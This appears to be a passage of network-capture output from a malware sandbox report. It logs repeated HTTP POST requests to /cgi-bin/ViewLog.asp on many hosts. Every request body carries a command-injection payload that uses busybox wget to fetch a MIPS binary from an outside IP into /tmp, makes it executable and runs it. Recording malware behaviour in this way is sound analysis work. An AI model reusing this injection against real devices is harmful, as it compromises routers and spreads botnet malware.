                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:12.507061958 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:14.811100960 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:19.418908119 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:28.378623009 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:47.834207058 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:24.697082996 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                303192.168.2.156061094.120.227.1528080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:10.856514931 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                304192.168.2.153460694.120.232.1248080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:11.052983999 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                305192.168.2.154343231.136.89.598080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:11.256236076 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:14.299016953 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:20.442873001 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:32.474587917 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:58.073793888 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:47.224446058 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                306192.168.2.155725462.76.95.2518080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:13.544809103 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:13.785867929 CET1308INHTTP/1.1 404
                                                Content-Type: text/html;charset=utf-8
                                                Content-Language: ru
                                                Content-Length: 1117
                                                Date: Thu, 23 Nov 2023 04:20:48 GMT
                                                Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 72 75 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 d0 9d d0 b5 20 d0 bd d0 b0 d0 b9 d0 b4 d0 b5 d0 bd d0 be 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 68 31 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 7d 20 62 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 70 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 77 68 69 74 65 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 61 2e 6e 61 6d 65 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 d0 9d d0 b5 20 d0 bd d0 b0 d0 b9 d0 b4 d0 b5 d0 bd d0 be 3c 2f 68 31 3e 3c 68 72 20 63 6c 61 73 73 3d 22 6c 69 6e 65 22 20 2f 3e 3c 70 3e 3c 62 3e 54 79 70 65 3c 2f 62 3e 20 53 74 61 74 75 73 20 52 65 70 6f 72 74 3c 2f 70 3e 3c 70 3e 3c 62 3e 4d 65 73 73 61 67 65 3c 2f 62 3e 20 26 23 34 37 3b 63 67 69 2d 62 69 6e 26 23 34 37 3b 56 69 65 77 4c 6f 67 2e 61 73 70 3c 2f 70 3e 3c 70 3e 3c 62 3e 44 65 73 63 72 69 70 74 69 6f 6e 3c 2f 62 3e 20 54 68 65 20 6f 72 69 67 69 6e 20 73 65 72 76 65 72 20 64 69 64 20 6e 6f 74 20 66 69 6e 64 20 61 20 63 75 72 72 65 6e 74 20 72 65 70 72 65 73 65 6e 74 61 74 69 6f 6e 20 66 6f 72 20 74 68 65 20 74 61 72 67 65 74 20 72 65 73 6f 75 72 63 65 20 6f 72 20 69 73 20 6e 6f 74 20 77 69 6c 6c 69 6e 67 20 74 6f 20 64 69 73 63 6c 6f 73 65 20 74 68 61 74 20 6f 6e 65 20 65 78 69 73 74 73 2e 3c 2f 70 3e 3c 68 72 20 63 6c 61 73 73 3d 22 6c 69 6e 65 22 20 2f 3e 3c 68 33 3e 41 70 61 63 68 65 20 54 6f 6d 63 61 74 2f 39 2e 30 2e 32 30 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e
                                                Data Ascii: <!doctype html><html lang="ru"><head><title>HTTP Status 404 </title><style type="text/css">h1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} h2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} h3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} body {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} b {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} p {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;} a {color:black;} a.name {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 </h1><hr class="line" /><p><b>Type</b> Status Report</p><p><b>Message</b> &#47;cgi-bin&#47;ViewLog.asp</p><p><b>Description</b> The origin server did not find a current representation for the target resource or is not willing to disclose that one exists.</p><hr class="line" /><h3>Apache Tomcat/9.0.20</h3></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                307192.168.2.155679031.220.50.688080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:13.654418945 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                308192.168.2.155005031.136.231.888080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:13.731329918 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:14.298980951 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:15.450947046 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:17.882946968 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:22.490768909 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
